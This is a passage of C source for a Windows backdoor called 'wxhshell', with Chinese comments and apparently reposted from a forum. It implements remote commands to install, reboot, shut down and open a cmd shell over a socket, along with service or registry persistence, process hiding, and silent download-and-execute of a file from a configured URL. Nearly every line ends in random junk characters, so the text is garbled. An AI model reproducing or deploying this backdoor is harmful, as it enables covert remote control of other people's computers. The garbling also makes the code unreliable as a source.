  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -ik=P ]?  
  } T!Tp:&O-  
  else { 4=`1C-v?q  
X$G:3uoN  
    switch(cmd[0]) { V|F/ynJfA  
  \){_\{&  
  // 帮助 Pa#Jwo  
  case '?': { X}5"ZLa7l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .gN ziDO  
    break; #f;6Ia>#  
  } X\w["! B  
  // 安装 f="ZplW  
  case 'i': { E{QjmlXQ<  
    if(Install()) +]GP"yv-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q2OF-.rE  
    else he@Y1CY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <%W&xk  
    break; S,ud pQ7  
    } U>00B|<GJ  
  // 卸载 O_GHvLO=  
  case 'r': { >wL!`:c'"  
    if(Uninstall()) "=KFag  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9YB?wh'S[  
    else ZsCwNZR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nf2lw]-G4  
    break; 7xY&7 x(v  
    } dd;rne v+  
  // 显示 wxhshell 所在路径 Vq/hk  
  case 'p': { 1|s` z  
    char svExeFile[MAX_PATH]; 0v6Z 4Ahpo  
    strcpy(svExeFile,"\n\r"); $ %|b6Gr/&  
      strcat(svExeFile,ExeFile); [Jjo H1E@  
        send(wsh,svExeFile,strlen(svExeFile),0); Jt0/*^'  
    break; ~IPATG  
    } U%Hcc k'  
  // 重启 nv7)X2jja  
  case 'b': { :8hXkQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Oiqc]4TL  
    if(Boot(REBOOT)) 1}SON4U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Snn4RB<(  
    else { 3u 7A(  
    closesocket(wsh); ?)-anoFyVW  
    ExitThread(0); ?' mP`9I  
    } W5()A,R  
    break; f_;tFP B  
    } ?B)e8i<[f  
  // 关机 )7-mALyW  
  case 'd': { WP Gp(X w  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E7.{SGH}  
    if(Boot(SHUTDOWN)) wr(*RI"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O<mA+yk  
    else { C OL"/3r  
    closesocket(wsh); Fi7~JZZ  
    ExitThread(0); R<hsG%BS(D  
    } O*N:.|dUw  
    break; 1W-kZ(e  
    } Lpnw(r9Y  
  // 获取shell }5z!FXB  
  case 's': { "4T36b  
    CmdShell(wsh); s<:) ;-tL  
    closesocket(wsh); 33a}M;vx  
    ExitThread(0); y5D3zqCG  
    break; JDp=w,7LF  
  } 0R0_UvsXU  
  // 退出 n$h+_xN  
  case 'x': { $GQEdVSNo  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^JY:$)4["  
    CloseIt(wsh); .b!HEi<F  
    break; ti]8_vP}*  
    } teLZplC=f  
  // 离开 5p-vSWr !  
  case 'q': { +# !?+'A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); BLt_(S?Z`  
    closesocket(wsh); (JE&1 @  
    WSACleanup(); usu{1&g  
    exit(1); q[Ey!h)xq  
    break; zW hzU|=8  
        } aW;)-0+  
  } Uxe]T  
  } }dqOE-"I"n  
.vIRz-S  
  // 提示信息 &$#NV@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =i2]qj\  
} ' %rn-|)  
  } e(OKE7  
.lI.I  
  return; nJ1<8 p  
} xk,1 D  
RUut7[r  
// shell模块句柄 p_fsEY  
int CmdShell(SOCKET sock) LJ9#!r@H  
{ =+<DNW@%  
STARTUPINFO si; ;2MdvHhz1  
ZeroMemory(&si,sizeof(si)); OMab!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V,\}|_GY  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; .#K\u![@N  
PROCESS_INFORMATION ProcessInfo; <~svy)Cz  
char cmdline[]="cmd"; RaymSh  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )U0I|dx  
  return 0; CHL5@gg@>y  
} 63t'|9^5  
;L$l0(OO  
// 自身启动模式 `}}|QP5xG  
int StartFromService(void) DIhV;[\  
{ QYAt)Ik9q  
typedef struct  3L4v@  
{ 83'rQDo)G  
  DWORD ExitStatus; EU Oa8Z  
  DWORD PebBaseAddress; YW8Odm  
  DWORD AffinityMask; 8)b*q\ O'  
  DWORD BasePriority; n2["Ln mO  
  ULONG UniqueProcessId; SpEu>9g&  
  ULONG InheritedFromUniqueProcessId; =^zOM6E1ZF  
}   PROCESS_BASIC_INFORMATION; ZKB27D_vg>  
h<WTN_i}  
PROCNTQSIP NtQueryInformationProcess;  xG'F  
Qi9M4Yv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jq|fI P  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; JxRn)D  
sd*NY  
  HANDLE             hProcess; jT-tsQ .,  
  PROCESS_BASIC_INFORMATION pbi; Go~3L8 '  
6HpiG`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;jlI>;C;V  
  if(NULL == hInst ) return 0; 2e({%P@2?  
aLQ]2m  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sE^= ]N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3YEw7GIO-  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y99|V39'  
Xcg+ SOB  
  if (!NtQueryInformationProcess) return 0; Xupwh5G2  
%kQ[z d^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Dk g-y9  
  if(!hProcess) return 0; 3Z%jx#  
WxtB:7J  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K#y CZ2  
zWF[cf>'  
  CloseHandle(hProcess); d#I; e  
8Urj;KkD  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); S;nlC  
if(hProcess==NULL) return 0; ^Uik{x  
C33RXt$X  
HMODULE hMod; ^X:g C9  
char procName[255]; sHSg _/|  
unsigned long cbNeeded; 5hlS2fn  
cNl$ vP83z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n3s  
U {9yfy  
  CloseHandle(hProcess); 88DMD"$B  
)hfI,9I~  
if(strstr(procName,"services")) return 1; // 以服务启动 B+ZhQW  
buMST&  
  return 0; // 注册表启动 bp P3#~ K  
} KFM)*Icg\8  
~eekv5  
// 主模块 ]sB%j@G  
int StartWxhshell(LPSTR lpCmdLine) r+i=P_p  
{ ;7mE%1X  
  SOCKET wsl; N6!9QIu~i  
BOOL val=TRUE; h)X"<a++N  
  int port=0; X`k#/~+0  
  struct sockaddr_in door; OkQtM nq  
qu/b:P  
  if(wscfg.ws_autoins) Install(); 8fb<hq<  
a0&R! E;  
port=atoi(lpCmdLine); b5^-q c6X  
;k,#o!>  
if(port<=0) port=wscfg.ws_port; cN]g^  
iE"+-z\U  
  WSADATA data; )Tf,G[z&ge  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7KV0g1GQ  
oJ0ZZu?{D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   mX@!O[f%9e  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); IoHYY:[-  
  door.sin_family = AF_INET; wf,w%n  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "> Y(0^^  
  door.sin_port = htons(port); VCvFCyAz  
~J|B  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { KU87WpjX  
closesocket(wsl); EN@<z;  
return 1; OZ Hfd7K4A  
} +^ |=MK%  
Iv>4o~t  
  if(listen(wsl,2) == INVALID_SOCKET) { u 9kh@0  
closesocket(wsl); .J2tm2]"EZ  
return 1; lXu6=r  
} :v8~'cZ  
  Wxhshell(wsl); $`|\aXd[C*  
  WSACleanup(); <io;d$=}  
e]3b0`E  
return 0; c+G%o8  
sN@=Ri?\  
} ko`KAU<T_  
SfGl*2  
// 以NT服务方式启动 R9^R G-x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `:fh$V5J>  
{ N=TDywRI  
DWORD   status = 0; @-aMj  
  DWORD   specificError = 0xfffffff; QfI@=Kbg%#  
HD8*>p.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &h;J_Ps  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b("M8}o  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7\EY&KI"0  
  serviceStatus.dwWin32ExitCode     = 0; ifcC [.im  
  serviceStatus.dwServiceSpecificExitCode = 0; 2NZC,znQ  
  serviceStatus.dwCheckPoint       = 0; #CNK [y  
  serviceStatus.dwWaitHint       = 0; NFBhnNH+  
#;s5=aH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); pLsWy&G  
  if (hServiceStatusHandle==0) return; n~?n+\.&a  
&>3 AL,  
status = GetLastError(); Tu}?Q. pKo  
  if (status!=NO_ERROR) &K-0ld(;  
{ }/.GB5Ej  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]E}eM@xdD  
    serviceStatus.dwCheckPoint       = 0; 1YvE/<6  
    serviceStatus.dwWaitHint       = 0; L(_bf/ @3  
    serviceStatus.dwWin32ExitCode     = status; ac#I $V-  
    serviceStatus.dwServiceSpecificExitCode = specificError; VK^m]??s_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,g{Ob{qT  
    return; 1 ac;6`  
  } j@Y'>3  
CP6xyXOlPB  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yFjjpEpnFt  
  serviceStatus.dwCheckPoint       = 0; "D7wtpJ  
  serviceStatus.dwWaitHint       = 0; ,2Q5'!o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "4/J4'-   
} ,O 1/|Y  
;&ypvKG  
// 处理NT服务事件,比如:启动、停止 )LjW=;(b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 'XW9+jj)/  
{ e>!=)6[*  
switch(fdwControl) 2~)r,.,  
{ %%hG],w  
case SERVICE_CONTROL_STOP: ,p9>/)l  
  serviceStatus.dwWin32ExitCode = 0; R}HNi(%"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; dNT<![X\  
  serviceStatus.dwCheckPoint   = 0; W&;,7T8@  
  serviceStatus.dwWaitHint     = 0; H.*aVb$  
  { raB', Vp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +`l)W`zX  
  } ,!oR"b!  
  return; o$KW*aDp  
case SERVICE_CONTROL_PAUSE: fW3NH7aUG  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; >A ?,[p`<  
  break; N 2$uw@s  
case SERVICE_CONTROL_CONTINUE: %O\zYtQR  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; KU*XRZu)  
  break; Q;y)6+VU4  
case SERVICE_CONTROL_INTERROGATE: <@J0 770  
  break; HCZVvsG  
}; xpB* > zb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YzeNr*  
} ID8u&:  
U\x $@J  
// 标准应用程序主函数 2su/I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) WADAp\&  
{ ){$*<#&H  
S$ Z?T  
// 获取操作系统版本 }ISc^W) t  
OsIsNt=GetOsVer(); =.ReM_.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ktn:6=,  
#-8%g{  
  // 从命令行安装 pra0:oHN  
  if(strpbrk(lpCmdLine,"iI")) Install(); o&:'MwU  
vhKHiw9L  
  // 下载执行文件 cE+Y#jB  
if(wscfg.ws_downexe) { IT:8k5(L5j  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) r!y3VmJ'm  
  WinExec(wscfg.ws_filenam,SW_HIDE); <7Ry"z6g;  
} B2l5}"{ `  
Fb\ E39  
if(!OsIsNt) { :'X:cL  
// 如果时win9x,隐藏进程并且设置为注册表启动 wL~-k  
HideProc(); HJt@m &H|  
StartWxhshell(lpCmdLine); 8\Kpc;zb  
} n'qWS/0U=  
else BKk+<#Ti  
  if(StartFromService()) vX<^x2~9(  
  // 以服务方式启动 ,U?^u%  
  StartServiceCtrlDispatcher(DispatchTable); A#8J6xcSrL  
else r&ux|o+  
  // 普通方式启动 lkJ"f{4f  
  StartWxhshell(lpCmdLine); QyD(@MFxb  
*1g3,NMA  
return 0; k]9+/ $  
}
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只看该作者 1 发表于: 2006-10-10
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